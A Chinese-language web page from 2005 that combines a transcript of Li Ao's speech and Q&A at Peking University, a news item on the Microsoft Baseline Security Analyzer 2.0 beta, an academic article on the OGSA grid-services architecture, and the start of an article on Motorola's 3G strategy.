[10:25:58] 后来变成老朋友,后来他向我道歉,在公开场合向我道歉,他说我们发现不查禁你这么多书,也不会亡党亡国。



[10:26:20] 所以今天大家聪明的知道,有些言论开放了以后,是火山一样的喷火口,让它喷出去,言论自由像看***一样,让他讲了,让他骂了,让他说了,老虎屁股让他摸了,没什么了不起。



[10:26:48] 我认为这是今天我们国家领导人最愿意知道的一点,可是今天他们知道不知道,还不知道,为什么不知道,为什么克林顿讲演现场全体全国播出,为连战的演讲现场全体播出,我李敖在这儿为什么要想想看再播出?



[10:28:38] 看看主席的词“俏也不挣风春,只把春来抱”,花都开了以后,我在花里面笑,可是我告诉你,毛主席的真相,他的第一次原稿不是这样的,不是说俏也不挣春,只把春来抱,等到春花烂漫时,他才笑。



[10:29:10] 他的原稿是他在旁边笑,他是个旁观者变成在中间,大家知道什么境界呢,看王国维写的诗“人间词化”,“有我之境,有无我之境”。



[10:29:30] 现在女孩子穿的是裤袜,以前女孩子穿的是玻璃丝袜,在大腿中间吊着,你把这个袜子送给美国人,美国很高兴,我有全世界最好的玻璃丝袜,你把这个袜子送给法国女人,她会说我有了全世界最漂亮的大腿。



[10:30:13] 她把袜子穿上去以后,所以她有了全世界最漂亮的大腿,袜子没有穿上以前,我有了全世界最漂亮的丝袜,你有了全世界最漂亮的腿,就是他在旁边笑,丝袜套上大腿,就是他在丛中笑。



[10:31:05] 今天我来到这儿,一句俗话就是“不是猛龙不过江”,我敢来,我是个自由主义者,我敢骂国/民/党、敢骂小日本和老美,今天我来,不是骂人我也碰人,我碰了北洋军阀给您看。



[10:31:37] 那个时候北大怎么样对待政府,***公文来了退回不看,北大多狠,***钱收进来了。现在的北大太孬了,在我看来,什么原因,怎么样可以不孬,我们的书记站起来,校长站起来,像我们以前的老校长不就是这样吗。



[10:32:23] 北大马寅初干了九年的校长,在国/民/党时代被软禁,后来在北大做校长的时候,本来一看是很好,本来和毛泽东感情好得很,为了人口两个人的看法变了,马寅初说中国人这样生下去我们不得了,我们的财政都被吃掉了。



[10:32:51] 毛主席说,人多没有关系,人多好办事情,结果毛主席赢了,大家斗马寅初,一路斗到马寅初床前面的墙,都贴了大字报,可是马说我不在乎,我要干到死,我要孤云奋战,结果他没有死,他活到100岁,别人都死了,他还活着。



[10:33:02] 这就是北大精神,北大的教育,所以我说今天从北大开始,虽然毛主席说,北京大学水浅王八多,多几个王八也不是坏事。



[10:33:24] 我的话其实讲不完的,可是今天的重点大体上就说到这儿了,这些书你们懒得看,我告诉你,我看得熟不得了,我念一段周总理的话给你们听:人民大众是有充分的思想自由的,只要其他思想都可以存在。



[10:34:02] 但要讲,不讲这些,别的我们也允许它的存在。所以今天为我我要替共/产/党讲好话,大家说共/产/党不让人讲话,是错的,是一部分共/产/党把毛主席周总理根本的精神给它紧缩了,才有今天的现象。



[10:34:36] 因为我和大家说,共/产/党有它自由的成分,过去被打压是一个错误,所以我们总觉得共/产/党一党专制是错的,必须说,整个的原因出在原来的马克思那里,可是现在我们知道都有中国式的社会主义。



[10:34:52] 我请大家问问,社会主义不够,为什么前面要加中国式的社会主义,因为社会主义不够,可是不灵了说不出口,夹了一个帽子,中国式的社会主义,不是吗?



[10:35:31] 我告诉各位,你们都不看毛选集,都有这段话,毛主席最后的一段话,你们听了绝对会惊心动魄,我念书给你们听,这些骂我们的像农民,像梁春云,我们要把它养起来,养着他们骂我,让他们骂,骂得无理,我们敢搏,骂得有理我们接受。



[10:36:03] 这对党对人民,对社会主义比较有利。毛泽东思想里面有一部分是真的懂这个道理的,结果我们把这一部分毛泽东给忽略掉了,还有一个毛泽东你们知道它是谁吗?



[10:37:15] 共/产/党到今天还存在,我愿意它存在一千年,和我们是什么关系,共/产/党讲两手策略,一手是软的,一手是硬的。



[10:38:20] 保住,我们也保住它,共/产/党愿意为人们服务吗?我们就是人民,让它为我们服务,幸巴达过河的时候忽然有一个老头子爬上他的脖子让他背着他,你跟着我走结果是星光大道,怎么样甩他也甩不掉。



[10:38:51] 你要照顾他,我们希望共/产/党活1千年,我们在它背上贴着它,哄着它,耐着它,让它为我们服务,有什么不好,我们不服气要打,玩言论自由你们玩不过我,你们要革命你们玩不过坦克车,说我们不搞这些,那搞,我们去更了,去颠了,去得了,去反了,用这种不健康的情绪在家里生闷气。



[10:39:18] 拍桌子摔板凳是错误的,我们要和共/产/党合作,其实他们人太多了一点 ,现在共/产/党是6900万,比台湾人口多3倍,可是没有关系,你们要放弃自由,你们救共/产/党我们欢迎,可是我们还有老百姓。



[10:39:34] 13亿人口和6900万比起来是19:1,19个人里面有一个是共/产/党,我们广大的中国人民要干什么,我们放弃过去那种念头,就是我们要打天下,我们要和你作对,为什么落伍了,因为没有可行性。



[10:40:01] 人民会吃亏,共/产/党说,下一代的共/产/党很聪明,我看到胡/锦涛真的很聪明,我们也很聪明,这个时代对我们也很有利,大家都忘了,我们的王冲在书店里看书,死背,为什么要死背呢,因为没有钱买书。



[10:40:46] 宋朝的王安石和他的好朋友说,我儿子是神童,看书一遍就看会,他的好朋友说哪家儿子看两遍,都是一遍看会,因为有高度智慧的人才能看书,今天我们就是这种人,你们北京大学就是这种人。



[10:41:14] 各位想想看,等一下我把我爸爸在北大的文凭给你们看,我要送给校长,送给主任,那个时候毕业,1926年北大毕业,365个人,今天上万,你们学校这么多人,大家想想看,我小时候一个中学生后面跟着4千个文盲。



[10:41:41] 我爸爸是北京大学的学生,可是我们想想看,今天你们的责任是什么,就是背后有这么多的人,他们在精英上精英不过你,本来你们从出生就是胜利者,父母母亲受胎的时候是2亿三亿的精子往前跑,后来是一个精子才出了你们。



[10:42:48] 你们赢了13亿,所以你们到了北京大学,不要以为了到美国得了博士就完了,大家可以看到李文就是典型的例子,到了美国得了博士,得了什么会失落的,所以我和大家说,我们要拥抱共/产/党。



[10:43:13] 共/产/党不喜欢笑,共/产/党太严肃,共/产/党会把冒死想做狭窄的解释,我们把它放宽一点,就是我今天的主要目的。



[10:43:44] 我讲这一点很多人提心吊胆,包括我在内,人家说,你到大陆来要不要看长城,我说我可能没上长城先进了秦城。



[10:45:01] 为什么说我不伤感,我不能伤感,我看到的北京是什么北京,我到店里的时候,他看我知道我买不起这杯东西,他会倒杯茶给我,那样彬彬有礼的北京已经没有了,现在是处处设防的北京,当你对人处处设防的时候,人变心了。



[10:45:51] 十天以前我离开看到高金素梅去联合国去宣布日/本/人可恶的时候,我还送了他100万台币,不要以为我李敖有钱,大家知道我在坐计程车吗……威武不能曲,富贵不能淫,贫富不能贱,谢谢各位!



[10:46:37] 今天我做个样板给大家看,我捐了35万块人民币是在北京立通向,就是告诉大家,其实胡适思想是最温和的,对我们有利的,现在我们开始知道立个铜像给他,当时胡适在我穷困的时候送了1000元人民币给我,今天我相当于1500倍的人情来还的,你们是这种人吗?可是有钱舍不得。

[10:48:49] 问:李敖先生您好,我来自政府管理学院,我的问题和文化有关,我看过您的传记知道您年轻的时候曾经写过万字以上的长文,主张中国的文化要全盘的西化,过了几十年之后,您是否仍然持有这种观点,我的问题是,您认为中国文化的发展方向应该是什么样的?是我们要继续的全盘西化还是保留原有文化,或者说还有其他的道路?



[10:49:11] 李敖:您刚刚谈到钱穆先生,我在中学的时候写信给他纠正他的错误,他就是当年燕京大学的教授,你们都受了他的影响,为什么呢?



[10:49:47] 因为燕京大学有一个未名湖,“未名”两个字就是他起的,当时我谈到所谓全盘西化,这也算是一个在政治里面的一个罪名,就是不可以搞全盘西化,可是我必须说,我们必须承认,我们是在全盘西化中最典型的例子。



[10:50:04] 就是马克思,马克思就是全盘西化,因为他全是洋玩意,这就是我们无法完全避免,国防部你去问曹刚川部长,他现在不会搞刀枪之类的,一定会搞现代化武器。



[10:50:28] 过去,说信不能发表,说关公和岳飞来了,都打不过英国人,为什么呢?英国人打我们,他炮打过来,我们打他,打不到他,甚至看不见他,这就是我们为什么要全盘西化的原因,过去说是政治的原因特别强调并且挖苦和打击全盘西化,我希望说,现在可以一点了。



[10:50:43] 问:我是北京大学的学生,我想问您,您是具有独立精神和批判精神的知识分子,与大众传媒的合作是否影响到了思考的独立性?



[10:51:16] 李敖:谁影响谁,不错,我和人家合作,人家会对我有所照顾,或者在双方合作的时候会考虑对方的立场,但是必须说刘长乐先生是个怪人,他有招和一个本领,就是我打球一样打擦边球,就是很多话我们不能说的,他很技巧的让它说过去,而不出事,这是了不起的。



[10:51:39] 我告诉大家,争取言论自由就是要用这种方法,就是你要说,说别人能够听得进去,中国有句老话,情于新,而词于巧,情拿出来是真的,可是词于巧,表达这些感情和事实的时候要讲求事实。



[10:52:40] 问:李敖先生您好,非常有幸这次有机会给您提问,在今年的早些时候,敏瑞芳书记曾经提出一个观点,大概意思是说对于有反动言论的老师应该清出课堂,我想您对这样的观点有什么评价?



[10:53:47] 李敖:我觉得作为大学一个特色,什么言论都敢接受,怎么可以叫反/动/言/论呢,怎么可以有言论课堂呢,医学院里不也叫癌症吗,癌症这我们也要上,所以我们把它当成癌症来看,想出招来解决这是很重要的,所以我认为,在大学里面,没有什么说是可以害怕的,不能讲的,是不正确的。



[10:54:06] 问:我相信您已经看到北大师生的热情了,我非常关心一个问题,您下一次什么时候来北大?您希望以什么形势与北大学生交流?



[10:54:45] 李敖:你叫我来干嘛,当***请我做北大校长的时候我就来了。

[10:55:23] 李敖:你叫我来干嘛,当***请我做北大校长的时候我就来了。



[10:56:15] 问:李敖先生您好,我是北大学国际关系学院的学生,因为前不久国/民/党举行了党主席的直选,您在选举的前夜在王金平的大会上公开表示您不支持马英九作为国/民/党/党/主/席,我问您,在马英九已经当选国/民/党/党/主/席之,您认为他的政策会对两岸关系有什么影响,您对两岸关系的稳定和平发展有没有信心?



[10:57:04] 李敖:我来北京就是怕谈台湾问题,果然这个问题就追上来了,我和你讲,这就是政治人物和思想人物的不同,马英九长了一个脸蛋,人也是一个好人,可是一辈子他不做事的人,我们叫他不粘锅,什么好事也不做,什么坏事也不做,就是笑嘻嘻的拉选票,很多票就这样给他的,所以我们认为能够做事的人是很重要的,摆个小脸蛋到处跑是不好的,所以我认为马英九干出了行了,他应该去演个电影或者做歌星都比较好,至

少变个大色狼也比较好。



[10:58:04] 问:李敖先生我非常尊重您,我对您刚刚那样说马英九先生好像不太公平,我想问一个文化的问题,您是怎样看待中国的屈原的文化?



[11:04:02] 李敖:这就是典型的例子,我刚刚讲过了,去年属于我对政府不满,可是我的白打方法就是第一类的。所以我认为那是个弱者的表达,现在的人类要有不是弱者的表达,要用清醒的,理性的并且快乐一点的表达。



[11:04:41] 我最后讲一个例子给大家听,我们都知道王安石,王安石是在中国的宁波做过官,他的小女儿很可怜,死在了那里,后来他调开了,临走的挖了一个小船,在对面的小船上和他的小女儿再见。“今夜扁舟来做别,此生从此各东西”。



[11:04:51] 回家乡是好难的事情,大家看到唐朝人写诗,几乎有一半都是“天上明月光,疑时地上霜”,都是思故乡的,因为故乡对他们太遥远了,太难得了,为什么我现在说李敖我不还乡呢。



[11:05:02] 我这次回来不是怀乡,没有乡愁,不是近乡没有情怯,不是还乡没有衣襟,没有眼泪,为什么我要这样,因为时代不该有乡愁,这是个错误的情趣,屈原有一个错误的情绪,他对政府是个错误的态度,我希望我们有一个健康快乐的心态来开创我们的未来,谢谢各位!
2005年09月13日

         微软官方16日发布底层安全分析工具MBSA的最新测试版本Microsoft Baseline Security Analyzer (MBSA) 2.0测试版,该版本可以改进用户的安全管理进程,用户使用该工具可以普通的安全错误架构、检查出遗漏的安全更新等。

    官方目前在测试站点提供该测试版本的下载,以帮助官方更好地改进产品质量。

    用户只需使用自己的用户ID(Passport ID ), guest ID是:MBSA20,既可获得MBSA的最新测试版本。

    另据网络消息称,MSBA 2.0 测试版本提供的新特点有:

  *) 新增支持多款产品,包括Windows 64-Bit edition以及Windows XP Embedded Edition。

  *) 为WSUS管理员提供“未经核实”的根据;

  *) 报告新增Current Update Compliance当前更新列表(历史);

  *) 所有更新扫描支持XML输出(MBSA 1.2.x以MBSA格式扫描才使用XML,而/HF扫描则没有);

  *) 除去安全更新信息中的蓝色星号;

  *) 本地更新包,KB,公告。

  *) 最大数量公告,第三方相关ID;

  MSBA 2.0 测试版提供的简易错误信息处理特点是:

  *) 简化处理许多错误信息;

  *) 报告新增“怎样修复这个错误”连接;

  *) 在帮助文件主页打开新向导;

  *) 错误信息连接帮助主页和FAQ;

  *) 网站FAQ主题自动更新。  

    官方测试站点首页地址:http://beta.microsoft.com。用户只需使用自己的用户ID(Passport ID ), guest ID是:MBSA20,既可获得MBSA的最新测试版本。

2005年09月11日
作者: 曾华燊,李季,冯林,龚勋
        30多年来,计算机网络技术,特别是Internet技术已经深入到人类社会的政治、经济、文化各个领域,成为人类活动不可缺少的生产和生活工具;计算机网络技术与网络应用正在并将继续改变人类活动的模式。1989年出现的3W服务和1993年出现的图形界面浏览器MOSAIC,使浏览器/服务器(B/S)模式成为目前计算机网络应用的主体模式。由于浏览器界面直观、使用方便,计算机网络逐渐从政府、学界和工业界少数人使用的工具变为全人类公用的工具和服务手段,网络应用也由此获得一次飞跃。 


         Internet技术的推广与普及进一步促进了计算机网络应用技术的发展,电子科学(EScience)、电子业务(EBusiness)、电子政务(EGovernance)等应用近年来获得社会越来越多的重视。当单机系统难以满足复杂的大型的科学计算(高能物理学、地球观测、天文物理、生物信息学等)求解的需要时,人们开始转向研究如何在网络环境中利用多台地理位置上分散的大、中型计算机协同工作,共同完成复杂的计算,这就是最早促进网格技术研究的动力。后来,电子业务也提出类似的需求。于是,人们开始设想网络应用资源服务能否像电力网格(Electricity Grid)为用户提供的即插即用的输电服务一样方便。这就是计算机网络计算环境中“计算网格”(简称网格:Grid)概念出现的背景。 
应当指出:网格计算仅在使用方便这一点上借用了电力网格的概念;由于信息资源的存储与服务系统、资源的描述与表达、提供服务的方式上的千差万别,信息服务和计算网格与电力网格技术在复杂度上有很大的差别。 
         国际知名网格专家Ian Forster2002年在WWW 2000会议上的特邀发言中把网格计算描述为在多个虚拟社团机构间实现动态资源共享和协同解决问题的过程。也有人形象地把网格描述为“把整个因特网整合成一台巨大的超级计算机,实现计算资源、存储资源、数据资源、信息资源、知识资源、专家资源的全面共享的应用系统”。无论用什么方式去描述网格系统,我们都必须清醒地意识到:网格是计算机网络环境中实现用户访问地理位置分布、异构的计算机系统资源的一种通用应用服务平台。因此,它本身研究的重点是如何在计算机网络提供的已有服务平台之上,通过增强实现方便的协同工作与资源共享,而不是研究计算机网络技术本身。 
网格系统及其应用的目的在于对位置分布、异构(使用不同硬软件支撑、不同网络通信技术)和动态变化的虚拟机构的资源和服务可视化和进行集成与管理,使一旦需要就能够对这些计算机、应用服务、数据和其他资源能够进行访问。要实现这一目标的关键是实现标准化,从而将地理位置分散、属于不同机构的资源和服务当作单个虚拟系统进行管理,去发现、访问、调度和监控。全球网格论坛(GGF)是进行有关网格技术的标准化工作主要机构。GGF的主要工作是制订与开放式网格服务体系结构( Open Grid Service Architecture,OGSA )相关的标准。OGSA的体系结构充分利用了W3C制订的Web服务,本文将从开放式系统互联的角度来探讨Web服务和网格问题。 
 
1 计算机网络与网格体系结构的关系 
        Foster在文献[3]中把网格定性为“下一代Internet”。这一观点在网格界有一定的代表性。首先,这一说法把网格技术与Internet技术等同起来,把网格服务体系结构与Internet体系结构相混淆。尽管在同一篇文献中作者进一步解释说:网格不是Internet的替代物,而是在Internet之上为支持创新和利用计算与丰富的数据环境的附加协议和服务,但把只属于应用平台的网格等同于整个Internet,特别是等同于下一代的Internet的观点值得商榷。 
        从另一个角度看,目前的热门网络计算技术研究中还有对等计算(P2P)和普适计算(Pervasive/Ubiquitous Computing)等。这些网络计算技术无论从研究的出发点还是所关注的问题和体系结构上看,与网格计算都有所不同,至少在目前还难以做出网格服务作为可以包括上述技术在内的唯一网络计算技术的结论。因此,可以应用平台来表征Internet,既然它不是唯一的平台,用它来界定下一代Internet也不妥当。 
         另一个容易在网格与网络之间引起混淆的原因是:在过去大量的讨论网格体系结构的文献中,常常构建了一个从物理层设备、逻辑功能到应用层的多个层次结构;在某些文献中,甚至直接将网格体系中的层次结构与OSI/RM中的层次结构相联系和对照。这类对比往往使熟悉OSI/RM或Internet体系结构的读者感到困惑。首先,网格体系结构中包括大量的与实际系统资源(如内部硬件资源,计算机系统软件平台、文件与数据库等)的管理,这些功能是属于OSI/RM概念范围内的资源,它们对网络环境中的网格服务用户而言是不可见的。另一方面,将原本不具备上、下层次关系和OSI/RM中的协议与服务关系的上述资源,并与OSI/RM的层次关系对应,只能使网格结构更难理解。图1是文献[3]对五层网格“协议”体系结构与网络协议体系结构的对比关系图。 
 
        图1中的构造层(Fabric)代表具体的网格系统的物理或逻辑资源(计算资源、存储系统、目录、网络资源等;逻辑资源包括分布式文件系统、分布计算池、计算机群等)。应当指出:构造层除了“网络资源”以外,其余部分都是计算机系统中与对OSI/RM无关的硬软件系统的抽象,它与OSI/RM中解决系统间二进制位流/帧的传输的物理层/数据链路层无论从概念到功能都毫无相似之处,在二者间建立如图1所示的对应关系只能造成概念的混淆。  
         连接层(Connectivity)的功能被定位于支持方便安全的通信,包括网格中的安全通信与认证授权控制的核心协议,实现资源间的数据交换和授权认证、安全控制等。尽管这部分功能与网络协议相关,但在OSI/RM中应隶属于表示层(Presentation Layer),而在Internet体系结构中属于广义的应用层范畴。因此,图1将它与网络层和传送层相对应不符合网络体系结构中的层次功能的划分。 
        资源层(Resource)利用连接层的通信和认证服务,解决安全会话、资源初始化、资源运行状况监测、资源使用状况统计等问题并通过调用构造层函数来访问和控制局部资源。  
       汇集层(Collective)的功能是协调各种资源。该层将资源层提交的受控资源汇集在一起,供虚拟组织的应用程序共享和调用。该层组件可以实现各种共享行为,包括目录服务、资源协同、资源监测诊断、数据复制、负荷控制、账户管理等功能。 
         应用层(Application)为网格服务虚拟组织环境中的最上层,它通过各层的应用程序编程接口(API)调用相应的服务并调动网格上的资源来完成任务。为便于网格应用程序的开发,需要构建支持网格计算的大型函数库。 
        图1中的上述三层的功能部分可归入Internet中应用层内的网格的通用应用服务范畴,大部可以归入网格应用层服务与实际系统间的映射机制。从图1中应用层直接访问汇集层、资源层和连接层来看,后三层都是应用层的邻子层,三者间不具备邻层关系。而三子层与所谓结构层的关系则完全属于网格服务与计算机系统的资源和资源管理之间的映射机制,属于网格之外对网络用户不可见的部分。 
 
2 开放式网格体系结构(OGSA) 
2.1 全球网格论坛和其他与网格相关的国际机构 
        2000年底,美国网格论坛、欧洲网格论坛和亚洲网格论坛合并组成了全球网格论坛(Global Grid Forum,GGF)。GGF是由用户、研发人员和产品生产厂家组成的致力于网格技术标准化的社团。其使命是定义能够导致标准化和软件间的互操作的网格技术文本并形成国际性社团交换相关的思想、经验、需求和实践。GGF成立以来已经先后制订了若干网格工作文件(Grid Work Document, GWD)和45个“网格最终文件”(Grid Final Document,GFD),其中包括本文将重点讨论的开放式网格服务体系结构(Open Grid Services Architecture,Version 1.0, OGSA)和开放式网格基本结构(Open Grid Service Infrastructure,OGSI)。 
为了使网格技术能够实现远程资源调用和复杂数据的交换,OGSA和OGSI借用了3W组织制订的Web服务的相关标准,如: Web服务描述语言(WSDL)和简单对象访问控制协议(SOAP),并积极参与和推动Web服务资源框架(WSRF)标准的制订,准备作为OGSI的替代层。 
 
2.2 开放式网格服务体系结构(OGSA) 
       所谓网格体系结构或网格服务体系结构是确定网格服务系统中的基本系统组件,界定和描述设置系统基本组件的目的和组件的功能,并说明组件之间如何进行交互式的操作的概念模型。2002 年 6 月,GGF制订了OGSA及其基本服务结构OGSI。与其他开放系统类似,OGSA通过定义标准的服务和接口实现虚拟组织之间相互开放。 
       OGSA是面向服务的体系结构, 所谓“服务”在OGSA中被定义为:“在网络支持下通过信息交换能够给客户提供某种能力的实体”。在分布式环境中,从信息交换的角度来看,服务可以看作是导致服务实体执行某些操作的特定信息交换序列,因此,在OGSA中可见的操作都是信息交换的结果。OGSA将服务操作封装在一个面向消息的公共接口之中,从而实现服务的虚拟化,即将服务的定位与服务实现细节相分离。在OGSA中,计算资源、存储资源、网络、程序、数据库等都被表示为服务。 
        早期的OGSA文本也将其体系结构表达为类似于计算机网络分层结构那样的层间关系;新版本的OGSA中已经不再采用这种描述方式,而代之以如图2所示的网格服务基本结构为中心的关联视图。 
 
        图2中的粗线表示OGSA服务界面,其上为利用OGSA服务的用户域。粗线以下所画的两层为与OGSA相关的功能。中心的方框表示OGSA的网格基础结构提供的核心服务,框外的各种功能利用基础结构提供开放式网格服务。基础结构所提供的服务是OGSA的核心服务,它解决描述和发现服务属性、创建服务实例、管理服务生命期、管理服务组、发布标准接口和通知接口预订等方面的问题。分布在细线之上粗线之下的功能如资源管理、执行管理、检测与分析、框架优化等功能(图中未穷举)都是利用基础结构服务来实现的。图中穿过网格基础结构的细线将属于OGSA自身的功能与本地系统原有的资源分开,而OGSA关注的部分除了中心为网格基础结构,其他活动以它为中心之外,并未明确地划分层次结构。 
 
3 OGSA的基础服务结构 
        在网格应用的资源分布的环境中,要实现分布式网络计算必须解决好如何在OGSA服务间实现交互的问题。为此,必须具备用机器可理解的方式描述服务需求和接口的能力,动态地发现、定位和组合网格服务的能力。 
          GGF选择了W3C制订的Web服务相关标准作为实现其目标的基础,并根据OGSA的需要对Web服务进行扩充与增强,构建其基础服务结构。 
 
3.1 Web服务 
        Web服务与其支撑平台一道在以计算机网络为支撑的分布、异构计算机环境中提供一种通用的互操作手段,它具有动态资源发现和组合能力。由于在Web服务之上构建应用系统十分方便,它已经成为构建互联网分布式应用系统(EScience,EBusiness和EGovernance等)的基本手段。Web服务涉及四个要素: Web服务说明(WSD)、用于封装WSD的消息封(envelope)、对下层传输协议的绑定、运载消息的传输协议以及Web服务的发布机制。 
1) Web服务描述语言(WSDL) 
         WSDL(Web Service Description Language)是Web咨询机构W3C所定义的Web服务描述语言。它为描述Web服务提供模型和XML格式。WSDL对Web服务的描述分为抽象描述和具体描述,描述采用结构化方式进行,以提高服务描述的可重用性。 
            在抽象描述阶段,Web服务用收发的消息来描述,采用XML Schema格式。“操作”是对服务中能够收发的消息种类和消息交换格局的描述,一个操作可与一个或多个消息交换规则(消息收发序列和顺序及逻辑收发方)相联系。最后在抽象描述中, Web服务接口是成组的操作,但未与传送或具体格式挂钩。  
           在具体描述阶段,“绑定”关系的描述将定义抽象的服务接口所使用的传送协议和具体格式;通过“可用服务端点”(Endpoint)将绑定部件与网络地址联系起来;最后将实现共同服务接口的可用服务端点合并定义为Web服务。 
 
2) 简单对象访问协议(SOAP) 
        Web服务可用于在互联网上发布可用的应用程序模块(服务),完成请求服务以及WSD和语义的协商。WSDL的描述采用符合扩展标记语言结构与约束(XML Schema)规定的文本格式,不适合直接作为应用消息传输,需要封装在固定格式的消息内再进行传输。W3C的简单对象访问协议定义一种封装格式和结构,定义了用于识别(强制性或选择性)处理部分或全部消息的对象的机制,以及如何将SOAP消息与下层传输协议绑定的方法。例如,当下层采用超文本传输协议(HTTP)时,SOAP消息可能作为HTTP POST请求与应答中的净荷(Payload)部分传输,或作为SOAP消息对HTTP GET的应答,从而实现与HTTP的绑定。为了适应远程程序调用的需要,SOAP还定义了SOAP数据模型,即用于运载RPC的数据编码结构。 
3) SOAP消息的传输协议 
        SOAP定义了可用于装载WSDL描述的消息格式,它需要与端系统之间运载SOAP消息的传输协议相结合才能完成Web服务既定的功能。前面已经提到,应用层的超文本传输协议(HTTP)是一种可能的选择,但SOAP并不排除使用其他应用层协议,如简单邮件传输协议SMTP、微软公司的消息对列协议(Microsoft Message Queue,MSMQ)或者直接利用传送层协议(TCP)。 
4) 注册或服务发现 
        为了便于用户查询和使用已有的服务,需要将Web Service在管理服务器上注册。相关技术和标准由“促进结构化信息标准机构”(OASIS)的通用描述、发现与集成(Universal Description Discovery and Integration,UDDI)成员组制订。 
           Web服务的使用过程可以用图3来简单描述,即服务请求与提供服务双方通过代理交换Web服务描述(WSD)和语义达到服务协商一致来完成的。 
 
         如图3所示,参与服务的双方在已经了解可用的Web服务的前提下进行服务协商时,首先将WSDL描述的文本(WSD和语义定义)封装在SOAP消息之中(净荷字段),然后利用传输协议(如HTTP)通过交换SOAP消息完成协商过程。 
 
3.2 开放式网格服务基础结构(OGSI) 
             在GGF进行OGSA相关文本的制订过程中,一方面认定Web服务时提供网格服务的最佳选择,另一方面又感到1.0版的Web服务还存在一些问题,不能满足OGSA的需要,需要对之进行扩展,由此提出开放式网格服务基础结构( Open Grid Service Infrastructure,OGSI)对Web服务进行扩展。 
       首先,OGSA定义网格服务具有动态变化的特性,即服务实例会随着工作的分派、资源配置与供给以及系统状态的变化而不断产生与消亡。因此,网格服务需要对服务实例的创建、撤销和生命期进行管理。第二,网格服务可以拥有与自身相关的属性和数据。这在概念上类似于面向对象编程中对象的传统结构。对象有其行为和数据。同样地,Web 服务需要得到扩展,从而支持与网格服务相关的状态数据。  
        OGSI规范通过扩展Web服务定义语言WSDL和XML Schema的功能来解决具有状态属性的Web服务的问题。它针对网格服务的需要定义了一套标准化的接口,包括:服务实例的创建、命名和生命期管理,服务状态数据的声明和查看,服务数据的异步通知,服务实例集合的表达和管理,以及一般的服务调用错误的处理等。  
 
3.3 网络服务资源框架(WSRF)与OGSI 
       OGSI是GGF根据OGSA的需要,通过对无状态的Web服务的增强,重新定义支持有状态的OGSI服务。2004年3月,Globus联盟和IBM发布了Web服务资源框架(Web Service Resource Framework v 1.0,WSRF)。GGF采取将Web服务扩展为支持有状态服务的策略来构建OGSI。WSRF与GGF不同,在保留无状态的Web服务的前提下,将资源定义为是有状态的。如果设计了一组在分布式环境中能够表示、识别和访问有状态的资源标准化的Web服务定义方法,无状态的Web服务就能够用来描述有状态的资源。对OGSA来说,这一思路实质上意味着如果使用WSRF, GGF的OGSA中不再需要OGSI针对网格的专用服务。  
           由于WSRF不像GGF那样针对特定应用而定义,而是作为对Web服务通用性的增强与扩展,在服务功能上更有普遍性。 
 
4 用OSI/RM分析OGSA层次结构 
           在分析OGSA结构时,笔者曾经指出:2005年发布的文本对OGSA体系结构的描述不再采用原来的层次关系,而改用图2所示的以OGSI为中心的半层次化关系的描述方法。但笔者认为,该图仍然没有从概念上将网格体系结构中与网格服务相关的具有网络层次结构的网格服务功能与计算机系统原有的资源与功能相区别。为了便于读者理解OGSA体系结构,以OSI/RM的框架为背景将它描述为图5所示。 
 
           图5将支持OGSA的计算机系统概念上分为两部分:右边为从OSI/RM的观点属于计算机网络范畴的部分,左边为不属于计算机网络范畴的部分。两部分之间由OGSA在计算机上的内部应用接口相联。图中的服务映射方框代表计算机原有机制、资源和能力之间的映射或实现。本机用户将通过左部利用OGSA服务;远程用户将通过右部的正常网络渠道请求、协商与获得服务。笔者认为,用图5所示的结构来描述OGSA更容易理解其服务过程。 
 
5 结语 
            本文从网络的角度对开放式网格服务进行了简要的探讨。与OGSA相关的机构除了文中多次提到的全球网格论坛(GGF)之外,还有Globus论坛、促进结构化信息标准机构(OASIS)和W3C等机构。对网格技术感兴趣的读者,可从上述机构的官方网站及时获得最新信息。鉴于OGSA是一个仍处于研究过程中的复杂的体系结构,涉及大量的标准和文献,笔者对OGSA的理解难免有不妥之处,欢迎广大读者批评指正。




来源:《计算机应用》
2005年09月10日
【导读】自詹德担任全球CEO以来,“无缝移动”已明确成为摩托罗拉3G的核心战略。3G是摩托罗拉目前发展的重点,不仅因为3G即将在全球大规模商用,更为重要的是,3G将是实现“无缝移动”的一个优质载体。 
                                                                                      ——出处: 中国经营报

  自詹德担任全球CEO以来,“无缝移动”已明确成为摩托罗拉3G的核心战略。3G是摩托罗拉目前发展的重点,不仅因为3G即将在全球大规模商用,更为重要的是,3G将是实现“无缝移动”的一个优质载体。

  3G应用无处不在

  日本领先的电信运营商KDDI从2002年开始在日本全国范围内的摩托罗拉cdmaOne网络上配置3G移动服务CDMA2000 1X,成为世界上第一个2.1GHz的CDMA2000 1X业务。现在,摩托罗拉在KDDI的无线移动通信领域发挥着至关重要的作用。

  KDDI公司总裁Tadashi Onodera 表示:“从我们开始提供CDMA 1X商业化服务到现在,CDMA用户数量已达1900万。通过配置采用摩托罗拉创新解决方案的拓展系统,我们期望提高KDDI的CDMA 1X服务在日本市场的竞争力,从而确保我们目前的用户群能够持续增长。”

  在日本东京最繁华、最时尚的中心地带原宿,KDDI开设了一家针对移动用户的“年轻我最酷”大型娱乐中心——KDDI设计工作室。这里是KDDI展示各种最新的3G应用,并让年轻用户体验的娱乐场所。据中心负责人介绍,之所以将设计工作室选择在原宿,是因为“原宿领导着日本青年文化的发展方向”。这与KDDI全面启动3G战略时考虑的重点不谋而合。

  KDDI在这里展示的各种3G应用包括:移动寻位EZ Navi Walk、身份认证、音乐下载、移动游戏、手机电视、儿童安全保障、照片邮件、电子杂志、电子钱包等等。

  以移动寻位为例,当持有3G手机的某个人想寻找到某个饭店的具体位置时,位置服务不是仅给出粗线条的线路图,而是根据这个人目前所在的位置,在手机中以“箭头”的方式,指引人们按照道路情况到达目的地。

  而Chaku Uta Full音乐下载系统则通过与音乐网站的合作,让年轻人随时可以通过CDMA2000 1X网络下载各种最新的流行音乐。手机终端实际是一个超级便利的MP3系统。

  儿童安全呼叫服务,是妈妈为保障孩子的安全而给孩子配备一款专门的手机。一旦孩子发生意外,只需要按下手机上的按钮,信息就自动传递到一家专业的保安公司。保安人员能根据位置提示,在最短的时间内赶到出事地点。

  目前KDDI正在与合作伙伴研究开发“面孔识别”技术。将来,手机将能够识别人脸图像,从而成为进入内部门禁系统的“钥匙”。

  技术成熟仍需市场接受

  一直以来,摩托罗拉3G技术都是业界的领先者。而近期,摩托罗拉更是在多项技术上取得了突破。

